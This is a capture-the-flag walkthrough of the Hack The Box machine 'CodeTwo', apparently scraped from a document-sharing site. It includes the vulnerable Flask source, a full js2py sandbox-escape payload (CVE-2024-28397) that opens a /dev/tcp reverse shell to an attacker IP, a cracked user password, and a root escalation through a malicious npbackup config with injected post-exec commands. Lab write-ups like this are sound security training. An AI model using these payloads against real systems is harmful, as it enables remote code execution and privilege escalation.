0% found this document useful (0 votes)
551 views1 page

Code Two

The document details a penetration testing exercise on a vulnerable Flask application called Code Two, which exposes several security flaws, including remote code execution via user-supplied JavaScript. The exploitation process involves gaining access through the app, retrieving user credentials from a database, and escalating privileges using a misconfigured backup script. Ultimately, the attacker successfully retrieves both user and root flags by crafting a malicious backup configuration file.

Uploaded by

dzero1539
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
551 views1 page

Code Two

The document details a penetration testing exercise on a vulnerable Flask application called Code Two, which exposes several security flaws, including remote code execution via user-supplied JavaScript. The exploitation process involves gaining access through the app, retrieving user credentials from a database, and escalating privileges using a misconfigured backup script. Ultimately, the attacker successfully retrieves both user and root flags by crafting a malicious backup configuration file.

Uploaded by

dzero1539
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

Code Two

Code Two
https://app.hackthebox.com/machines/CodeTwo

IP

10.10.11.82

Nmap Results

Python Console Port 8000


We open the Website on Port 8000

We Download the APP

App Analize
App

After unpacking the archive, we find the source code of the


console in app.py along with other folders that we proceed
to analyze

We discover the Users.db file. While it does not contain


valuable data, its location on the machine is now known,
and it is likely structured in the same way

User Table is Empty

Lets Check the Code


App.py

Framework & DB: Flask app using SQLite ( users.db ) via SQLAlchemy.
User Management:
Registration stores username + MD5-hashed password (⚠️insecure).
Login validates against username + hash, session is created.
Code Management:
Users can save, view, and delete “code snippets.”
JavaScript Execution:
/run_code executes user-supplied JavaScript server-side via js2py (highly insecure →
potential Remote Code Execution).
File Download:
/download serves app.zip from /home/app/app/static/ .
General:
Session handling with secret key, standard routes for dashboard, login, logout.
Database tables are auto-created if not already present.

app.py

from flask import Flask, render_template, request, redirect, url_for, session,


jsonify, send_from_directory
from flask_sqlalchemy import SQLAlchemy
import hashlib
import js2py
import os
import json

js2py.disable_pyimport()
app = Flask(__name__)
app.secret_key = 'S3cr3tK3yC0d3Tw0'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)

class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(80), unique=True, nullable=False)
password_hash = db.Column(db.String(128), nullable=False)

class CodeSnippet(db.Model):
id = db.Column(db.Integer, primary_key=True)
user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
code = db.Column(db.Text, nullable=False)

@app.route('/')
def index():
return render_template('index.html')

@app.route('/dashboard')
def dashboard():
if 'user_id' in session:
user_codes =
CodeSnippet.query.filter_by(user_id=session['user_id']).all()
return render_template('dashboard.html', codes=user_codes)
return redirect(url_for('login'))

@app.route('/register', methods=['GET', 'POST'])


def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
password_hash = hashlib.md5(password.encode()).hexdigest()
new_user = User(username=username, password_hash=password_hash)
db.session.add(new_user)
db.session.commit()
return redirect(url_for('login'))
return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])


def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
password_hash = hashlib.md5(password.encode()).hexdigest()
user = User.query.filter_by(username=username,
password_hash=password_hash).first()
if user:
session['user_id'] = user.id
session['username'] = username;
return redirect(url_for('dashboard'))
return "Invalid credentials"
return render_template('login.html')

@app.route('/logout')
def logout():
session.pop('user_id', None)
return redirect(url_for('index'))

@app.route('/save_code', methods=['POST'])
def save_code():
if 'user_id' in session:
code = request.json.get('code')
new_code = CodeSnippet(user_id=session['user_id'], code=code)
db.session.add(new_code)
db.session.commit()
return jsonify({"message": "Code saved successfully"})
return jsonify({"error": "User not logged in"}), 401

@app.route('/download')
def download():
return send_from_directory(directory='/home/app/app/static/',
path='app.zip', as_attachment=True)

@app.route('/delete_code/<int:code_id>', methods=['POST'])
def delete_code(code_id):
if 'user_id' in session:
code = CodeSnippet.query.get(code_id)
if code and code.user_id == session['user_id']:
db.session.delete(code)
db.session.commit()
return jsonify({"message": "Code deleted successfully"})
return jsonify({"error": "Code not found"}), 404
return jsonify({"error": "User not logged in"}), 401

@app.route('/run_code', methods=['POST'])
def run_code():
try:
code = request.json.get('code')
result = js2py.eval_js(code)
return jsonify({'result': result})
except Exception as e:
return jsonify({'error': str(e)})

if __name__ == '__main__':
with app.app_context():
db.create_all()
app.run(host='0.0.0.0', debug=True)

Note

What tipped us off in the code


While reading the Flask app we noticed two red flags:

js2py is imported and /run_code does js2py.eval_js(code) on user-controlled


input.
The only “sandbox” control is js2py.disable_pyimport() .

That immediately suggested: js2py sandbox escape. We then googled our notes/keywords:

js2py disable_pyimport bypass and js2py sandbox escape poc

…which led us straight to the public PoC for CVE-2024-28397 .

https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape/blob/main/poc.py

How the PoC technique works (and how we used it)


The PoC shows that from JS you can walk into Python’s type system:

1. Object.getOwnPropertyNames({}).__getattribute__
2. .__getattribute__.call(obj, "__class__").__base__ → Python’s base object
3. object.__subclasses__() → iterate all loaded Python classes
4. Find subprocess.Popen (or pivot to __builtins__ → os.system )
5. Call it with a string command and shell=True → RCE

We implemented that as a small, defensive ES5 helper that recursively searches for
subprocess.Popen , skipping classes that raise access errors.

http://10.10.11.82:8000

Register a new User

After Login we in a Python Console

We Start a Listener

nc -lvnp 4444

We use this Code for Revshell

var hacked = Object.getOwnPropertyNames({});


var bymarve = hacked.__getattribute__;
var n11 = bymarve("__getattribute__");
var obj = n11("__class__").__base__;

function findPopen(o) {
var subs = o.__subclasses__();
for (var i in subs) {
try {
var item = subs[i];
// solo chequea si tiene atributos de módulo y nombre
if (item && item.__module__ && item.__name__) {
if (item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
}
if (item && item.__name__ != "type") {
var result = findPopen(item);
if (result) return result;
}
} catch(e) {
// ignorar errores de acceso
continue;
}
}
return null;
}

var Popen = findPopen(obj);

if (Popen) {
var cmd = "bash -c 'exec 5<>/dev/tcp/10.10.1x.xxx/4444;cat <&5 | while read
line; do $line 2>&5 >&5; done'";
var out = Popen(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
console.log(out);
} else {
console.log("Popen no encontrado");
}

We Got a Shell back as app User

We open the directory that contains the database (exactly the same as in our app
download)

cd /home/app/app/instance

cat users.db

We Found a Username marco


And a Hash 649c9d65a206a75f5abe509fe128bce5

We Crack the Hash on https://crackstation.net/


PW = sweetangelbabylove

User Flag 🏁
We login via ssh as marco

ssh [email protected]

We catch the User Flag 🏁

cat /home/marco/cat user.txt

Privesc
We check Sudo permissions

sudo -l

Marco can run as root /usr/local/bin/npbackup-cli

We run the Backup Script

sudo /usr/local/bin/npbackup-cli

In the home dir from Marco we have allready a config file


npbackup.conf

We try to run npbackup.conf

sudo /usr/local/bin/npbackup-cli -c npbackup.conf -b --force

It try to make a backup of ['/home/app/app/'] to repo default


But fails because Backup is smaller than configured minmium backup size

​Sudo /usr/local/bin/npbackup cli c npbackup.conf b force

2025-08-17 06:40:41,318 :: INFO :: Backend finished with success


2025-08-17 06:40:41,320 :: INFO :: Processed 48.9 KiB of data
2025-08-17 06:40:41,320 :: ERROR :: Backup is smaller than configured
minmium backup size
2025-08-17 06:40:41,321 :: ERROR :: Operation finished with failure
2025-08-17 06:40:41,321 :: INFO :: Runner took 2.204321 seconds for backup
2025-08-17 06:40:41,321 :: INFO :: Operation finished
2025-08-17 06:40:41,328 :: INFO :: ExecTime = 0:00:02.252687, finished,
state is: errors.
marco@codetwo:~$ ls

npbackup.conf

Question

This npbackup.conf is the default configuration for the npbackup-cli tool.

It defines a default repository with an encrypted repo_uri and repo_password , linked to


the default_group .
Under backup_opts , it specifies /home/app/app/ as the source path, with source_type:
folder_list and no post-exec commands.
The group section ( default_group ) provides global defaults: excludes, snapshot usage,
compression, retention policy (last, hourly, daily, etc.), and bandwidth limits.
identity and global_prometheus hold placeholders ( ${HOSTNAME} , ${MACHINE_ID} )
for machine tracking and optional metrics.
Overall, this config ensures periodic backups of /home/app/app/ to the defined repository,
without executing any custom commands.

npbackup.conf

conf_version: 3.0.1
audience: public
repos:
default:
repo_uri:

__NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8
PDw8PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
repo_group: default_group
backup_opts:
paths:
- /home/app/app/
source_type: folder_list
exclude_files_larger_than: 0.0
repo_opts:
repo_password:

__NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8
PDw8PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
retention_policy: {}
prune_max_unused: 0
prometheus: {}
env: {}
is_protected: false
snipped....

We write a malicious.conf that grab the Root Flag for us

Malicious.conf

We derived the malicious config directly from the normal one like this:

We kept the base metadata and repo secrets: conf_version , audience , repo_group ,
and the __NPBACKUP__…__NPBACKUP__ values for repo_uri and repo_password .
We changed the backup source from the legit path to a privileged target:
backup_opts.paths → /root .
We injected a repo-level hook: post_exec_commands to create /tmp/rootbackup , copy
/root/root.txt to flag.txt , set mode 644 , and chown marco:marco .
We left other options as-is so the repo/auth still work.

Why it works: repo-level settings override group defaults; with sudo the post-exec runs as
root.

repos:
default:
backup_opts:
- paths:
- - /home/app/app/
+ paths:
+ - /root
source_type: folder_list
+ post_exec_commands:
+ - "mkdir -p /tmp/rootbackup"
+ - "cp /root/root.txt /tmp/rootbackup/flag.txt 2>/dev/null || true"
+ - "chmod 644 /tmp/rootbackup/flag.txt"
+ - "chown marco:marco /tmp/rootbackup/flag.txt"

We craft a malicious backup configuration file

cat <<'EOF' > /tmp/malicious.conf

conf_version: 3.0.1
audience: public

repos:
default:
repo_uri:
__NPBACKUP__wd9051w9Y0p4ZYWmIxMqKHP81/phMlzIOYsL01M9Z7IxNzQzOTEwMDcxLjM5NjQ0Mg8PDw8
PDw8PDw8PDw8PD6yVSCEXjl8/9rIqYrh8kIRhlKm4UPcem5kIIFPhSpDU+e+E__NPBACKUP__
repo_group: default_group
backup_opts:
paths:
- /root
source_type: folder_list
post_exec_commands:
- "mkdir -p /tmp/rootbackup"
- "cp /root/root.txt /tmp/rootbackup/flag.txt 2>/dev/null || true"
- "chmod 644 /tmp/rootbackup/flag.txt"
- "chown marco:marco /tmp/rootbackup/flag.txt"
repo_opts:
repo_password:

__NPBACKUP__v2zdDN21b0c7TSeUZlwezkPj3n8wlR9Cu1IJSMrSctoxNzQzOTEwMDcxLjM5NjcyNQ8PDw8
PDw8PDw8PDw8PD0z8n8DrGuJ3ZVWJwhBl0GHtbaQ8lL3fB0M=__NPBACKUP__
EOF

We adjust the config to set file ownership to our current user

sed -i 's/chown marco:marco/chown $(id -un):$(id -gn)/' /tmp/malicious.conf

We execute the backup tool with our malicious config to trigger root commands

sudo /usr/local/bin/npbackup-cli -c /tmp/malicious.conf -b --force

We can Ignore the Errors

We verify the backup directory and read the extracted flag

ls -l /tmp/rootbackup/flag.txt && cat /tmp/rootbackup/flag.txt

We got the Root Flag 🏁💀

1/1

You might also like